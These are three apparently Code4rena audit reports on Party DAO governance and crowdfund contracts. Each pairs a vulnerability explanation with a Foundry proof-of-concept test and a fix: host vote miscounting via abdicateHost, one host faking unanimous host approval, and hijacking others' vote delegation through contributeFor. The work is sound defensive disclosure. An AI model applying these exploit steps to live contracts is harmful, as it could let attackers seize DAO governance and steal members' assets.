Party DAO - klau5's results

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L1126 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L457-L472 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L636-L638

Vulnerability details

Impact

The proposal is not executed immediately, even though the hosts have unanimously agreed to it.

Proof of Concept

The abdicateHost function allows you to move Host to another account. This means that the number of Hosts that can exist at the same time is up to numHosts, but the number of accounts that have actually been Hosts can be higher.

function abdicateHost(address newPartyHost) external {
    _assertHost();
    // 0 is a special case burn address.
    if (newPartyHost != address(0)) {
        // Cannot transfer host status to an existing host.
        if (isHost[newPartyHost]) {
            revert InvalidNewHostError();
        }
@>      isHost[newPartyHost] = true;
    } else {
        // Burned the host status
        --numHosts;
    }
@>  isHost[msg.sender] = false;
    emit HostStatusTransferred(msg.sender, newPartyHost);
}

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L457

User1 is the Host. User1 votes and then moves Host to User2. After pass Host role to User2 and User2 votes as Host, the number of pv.numHostsAccepted can be greater than pv.numHosts.

function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) {
    ...

@>  if (isHost[msg.sender]) {
@>      ++values.numHostsAccepted;
    }
    info.values = values;

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L636-L637

If the same number of Hosts voted as numHosts at the time the proposal was created (unanimous), the proposal is executed immediately without waiting for a delay. However, if pv.numHostsAccepted > pv.numHosts as shown above, the proposal cannot be executed immediately even though a sufficient number of Hosts have agreed.

function _getProposalStatus(
    ProposalStateValues memory pv
) private view returns (ProposalStatus status) {
    ...
    if (pv.passedTime != 0) {
        ...
        // If all hosts voted, skip execution delay
@>      if (_hostsAccepted(pv.numHosts, pv.numHostsAccepted)) {
            return ProposalStatus.Ready;
        }
        // Passed.
        return ProposalStatus.Passed;
    }
    ...
}

function _hostsAccepted(
    uint8 snapshotNumHosts,
    uint8 numHostsAccepted
) private pure returns (bool) {
@>  return snapshotNumHosts > 0 && snapshotNumHosts == numHostsAccepted;
}

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L1126

This is PoC testcode. Put this code at PartyGovernance.t.sol file.

function testGovernance_allHostsAccept_numHostsAccepted_bigger_PoC() public {
  (
      Party party,
      IERC721[] memory preciousTokens,
      uint256[] memory preciousTokenIds
  ) = partyAdmin.createParty(
          partyImpl,
          PartyAdmin.PartyCreationMinimalOptions({
              host1: address(danny),
              host2: address(this),
              passThresholdBps: 5000,
              totalVotingPower: 60,
              preciousTokenAddress: address(toadz),
              preciousTokenId: 1,
              rageQuitTimestamp: 0,
              feeBps: 0,
              feeRecipient: payable(0)
          })
      );
  DummySimpleProposalEngineImpl engInstance = DummySimpleProposalEngineImpl(address(party));

  // Mint first governance NFT
  partyAdmin.mintGovNft(party, address(john), 20, address(john));
  assertEq(party.votingPowerByTokenId(1), 20);
  assertEq(party.ownerOf(1), address(john));

  // mint another governance NFT
  partyAdmin.mintGovNft(party, address(danny), 20, address(danny));
  assertEq(party.votingPowerByTokenId(2), 20);
  assertEq(party.ownerOf(2), address(danny));

  // mint third governance NFT
  partyAdmin.mintGovNft(party, address(steve), 10, address(steve));
  assertEq(party.votingPowerByTokenId(3), 10);
  assertEq(party.ownerOf(3), address(steve));

  // Generate proposal
  PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({
      maxExecutableTime: 9999999999,
      proposalData: abi.encodePacked([0]),
      cancelDelay: uint40(1 days)
  });
  john.makeProposal(party, p1, 2);

  // Ensure John's votes show up
  assertEq(party.getGovernanceValues().totalVotingPower, 60);
  _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Voting, 20);

  danny.vote(party, 1, 0); // Host
  _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 40);

  // danny moves Host to steve
  vm.prank(address(danny));
  party.abdicateHost(address(steve));

  steve.vote(party, 1, 0); // New host

  party.accept(1, 0); // host2 voted

  // Host accepted but it cannot execute immediately
  _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 50);
  assertEq(engInstance.getLastExecutedProposalId(), 0);
  assertEq(engInstance.getNumExecutedProposals(), 0);
}

Tools Used

Manual Review

Recommended Mitigation Steps

function _hostsAccepted(
    uint8 snapshotNumHosts,
    uint8 numHostsAccepted
) private pure returns (bool) {
-   return snapshotNumHosts > 0 && snapshotNumHosts == numHostsAccepted;
+   return snapshotNumHosts > 0 && snapshotNumHosts <= numHostsAccepted;
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L636-L638 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L457-L472

Vulnerability details

Impact

A single Host can make a Host unanimity situation and execute the proposal immediately.

Proof of Concept

The abdicateHost function allows you to delegate Host to another account.

function abdicateHost(address newPartyHost) external {
    _assertHost();
    // 0 is a special case burn address.
    if (newPartyHost != address(0)) {
        // Cannot transfer host status to an existing host.
        if (isHost[newPartyHost]) {
            revert InvalidNewHostError();
        }
@>      isHost[newPartyHost] = true;
    } else {
        // Burned the host status
        --numHosts;
    }
@>  isHost[msg.sender] = false;
    emit HostStatusTransferred(msg.sender, newPartyHost);
}

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L457-L472

User1 is Host. If User1 votes and then moves Host to User2, it can be manipulated to appear that multiple hosts voted. In other words, a single host can make a host unanimity situation.

function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) {
    ...

@>  if (isHost[msg.sender]) {
@>      ++values.numHostsAccepted;
    }
    info.values = values;

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L636-L638

This means that the proposal can be executed immediately, even if not all hosts have agreed to it.

This is PoC testcode. You can put this at PartyGovernance.t.sol file and run it.

function testGovernance_allHostsAccept_PoC() public {
  (
      Party party,
      IERC721[] memory preciousTokens,
      uint256[] memory preciousTokenIds
  ) = partyAdmin.createParty(
          partyImpl,
          PartyAdmin.PartyCreationMinimalOptions({
              host1: address(danny),
              host2: address(this),
              passThresholdBps: 5000,
              totalVotingPower: 60,
              preciousTokenAddress: address(toadz),
              preciousTokenId: 1,
              rageQuitTimestamp: 0,
              feeBps: 0,
              feeRecipient: payable(0)
          })
      );
  DummySimpleProposalEngineImpl engInstance = DummySimpleProposalEngineImpl(address(party));

  // Mint first governance NFT
  partyAdmin.mintGovNft(party, address(john), 20, address(john));
  assertEq(party.votingPowerByTokenId(1), 20);
  assertEq(party.ownerOf(1), address(john));

  // mint another governance NFT
  partyAdmin.mintGovNft(party, address(danny), 20, address(danny));
  assertEq(party.votingPowerByTokenId(2), 20);
  assertEq(party.ownerOf(2), address(danny));

  // mint third governance NFT
  partyAdmin.mintGovNft(party, address(steve), 10, address(steve));
  assertEq(party.votingPowerByTokenId(3), 10);
  assertEq(party.ownerOf(3), address(steve));

  // Generate proposal
  PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({
      maxExecutableTime: 9999999999,
      proposalData: abi.encodePacked([0]),
      cancelDelay: uint40(1 days)
  });
  john.makeProposal(party, p1, 2);

  // Ensure John's votes show up
  assertEq(party.getGovernanceValues().totalVotingPower, 60);
  _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Voting, 20);

  danny.vote(party, 1, 0); // Host
  _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 40);

  // danny moves Host to steve
  vm.prank(address(danny));
  party.abdicateHost(address(steve));

  steve.vote(party, 1, 0); // New host

  // party.accept(1, 0); // host2 address(this) not voted

  // Host accepted so can execute immediately.
  _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Ready, 50);
  assertEq(engInstance.getLastExecutedProposalId(), 0);
  assertEq(engInstance.getNumExecutedProposals(), 0);

  // Execute proposal
  john.executeProposal(
      party,
      PartyParticipant.ExecutionOptions({
          proposalId: 1,
          proposal: p1,
          preciousTokens: preciousTokens,
          preciousTokenIds: preciousTokenIds,
          progressData: abi.encodePacked([address(0)])
      })
  );

  // Ensure execution occurred
  _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Complete, 50);
  assertEq(engInstance.getFlagsForProposalId(1), LibProposal.PROPOSAL_FLAG_HOSTS_ACCEPT);
  assertEq(engInstance.getLastExecutedProposalId(), 1);
  assertEq(engInstance.getNumExecutedProposals(), 1);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Save the list of Hosts when creating proposal. Only their votes count as Host votes. Also check if this Host is still a Host, so that deleted host cannot be treated as Host.

function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) {
    ...
-    if (isHost[msg.sender]) {
+    if (isHost[msg.sender] && wasHostAtProposed[proposalId][msg.sender]) {
        ++values.numHostsAccepted;
    }
    info.values = values;

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L235-L249 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L302 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L201-L208 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L255-L273

Vulnerability details

Impact

Attacker can freely delegate other people's votes. Attacker can delegate votes without the user's knowledge. In the worst case, attacker delegate all votes and execute proposal immediately by unanimous vote. Then the attacker can be the Authority, steal assets, or crash the party.

Proof of Concept

If the attacker calls contributeFor or batchContributeFor, attacker can delegate votes of any user.

function contributeFor(
    uint256 tokenId,
    address payable recipient,
    address initialDelegate,
    bytes memory gateData
) external payable onlyDelegateCall returns (uint96 votingPower) {
    return
        _contribute(
            recipient,
@>          initialDelegate,
            msg.value.safeCastUint256ToUint96(),
            tokenId,
            gateData
        );
}

function batchContributeFor(
    BatchContributeForArgs calldata args
) external payable onlyDelegateCall returns (uint96[] memory votingPowers) {
    votingPowers = new uint96[](args.recipients.length);
    uint256 valuesSum;
    for (uint256 i; i < args.recipients.length; ++i) {
@>      votingPowers[i] = _contribute(
            args.recipients[i],
@>          args.initialDelegates[i],
            args.values[i],
            args.tokenIds[i],
            args.gateDatas[i]
        );
        valuesSum += args.values[i];
    }
    if (msg.value != valuesSum) {
        revert InvalidMessageValue();
    }
}

function _contribute(
    address payable contributor,
    address delegate,
    uint96 amount,
    uint256 tokenId,
    bytes memory gateData
) private returns (uint96 votingPower) {
    // Require a non-null delegate.
    if (delegate == address(0)) {
        revert InvalidDelegateError();
    }

    ...

@>  votingPower = _processContribution(contributor, delegate, amount);

    // OK to contribute with zero just to update delegate.
    if (amount == 0) return 0;

    if (tokenId == 0) {
        // Mint contributor a new party card.
@>      party.mint(contributor, votingPower, delegate);
    } else if (disableContributingForExistingCard) {
        revert ContributingForExistingCardDisabledError();
    } else if (party.ownerOf(tokenId) == contributor) {
        // Increase voting power of contributor's existing party card.
        party.increaseVotingPower(tokenId, votingPower);
    } else {
        revert NotOwnerError(tokenId);
    }
}

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L235

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L255

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L275

In the _processContribution function, if msg.sender is not the contributor, it keep delegationsByContributor as old value. But since the InitialETHCrowndfund contract does not use the delegationsByContributor , vote delegation to delegate is not prevented.

function _processContribution(
    address payable contributor,
    address delegate,
    uint96 amount
) internal returns (uint96 votingPower) {
    address oldDelegate = delegationsByContributor[contributor];
    if (msg.sender == contributor || oldDelegate == address(0)) {
        // Update delegate.
        delegationsByContributor[contributor] = delegate;
    } else {
        // Prevent changing another's delegate if already delegated.
        delegate = oldDelegate;
    }
    ...
}

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L201-L208

This is PoC code. Add it to InitialEThCrowdfund.t.sol and run it.

function test_contributeFor_doesUpdateExistingDelegation_PoC() public {
  InitialETHCrowdfund crowdfund = _createCrowdfund(
      CreateCrowdfundArgs({
          initialContribution: 0,
          initialContributor: payable(address(0)),
          initialDelegate: address(0),
          minContributions: 0,
          maxContributions: type(uint96).max,
          disableContributingForExistingCard: false,
          minTotalContributions: 3 ether,
          maxTotalContributions: 5 ether,
          duration: 7 days,
          exchangeRateBps: 1e4,
          fundingSplitBps: 0,
          fundingSplitRecipient: payable(address(0)),
          gateKeeper: IGateKeeper(address(0)),
          gateKeeperId: bytes12(0)
      })
  );
  crowdfund.party();

  address member = _randomAddress();
  address payable recipient = _randomAddress();
  address delegate = _randomAddress();
  vm.deal(member, 1 ether);

  // Contribute to set initial delegation
  vm.prank(recipient);
  vm.expectEmit(true, false, false, true);
  emit Contributed(recipient, recipient, 0, recipient);
  crowdfund.contribute(recipient, "");

  // Contribute to try update delegation (should not work)
  vm.prank(member);
  vm.expectEmit(true, false, false, true);
  emit Contributed(member, recipient, 1 ether, recipient);
  crowdfund.contributeFor{ value: 1 ether }(0, recipient, delegate, "");

  Party party = crowdfund.party();
  // All recipient's votes are delegated
  assertEq(party.delegationsByVoter(recipient), delegate);
  assertEq(party.getVotingPowerAt(delegate, uint40(block.timestamp)), 1 ether);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Use delegationsByContributor at _contribute

function _contribute(
    address payable contributor,
    address delegate,
    uint96 amount,
    uint256 tokenId,
    bytes memory gateData
) private returns (uint96 votingPower) {
    // Require a non-null delegate.
    if (delegate == address(0)) {
        revert InvalidDelegateError();
    }

    ...

    votingPower = _processContribution(contributor, delegate, amount);

    // OK to contribute with zero just to update delegate.
    if (amount == 0) return 0;

    if (tokenId == 0) {
        // Mint contributor a new party card.
-       party.mint(contributor, votingPower, delegate);
+       party.mint(contributor, votingPower, delegationsByContributor[contributor]);
    } else if (disableContributingForExistingCard) {
        revert ContributingForExistingCardDisabledError();
    } else if (party.ownerOf(tokenId) == contributor) {
        // Increase voting power of contributor's existing party card.
        party.increaseVotingPower(tokenId, votingPower);
    } else {
        revert NotOwnerError(tokenId);
    }
}

Assessed type

Other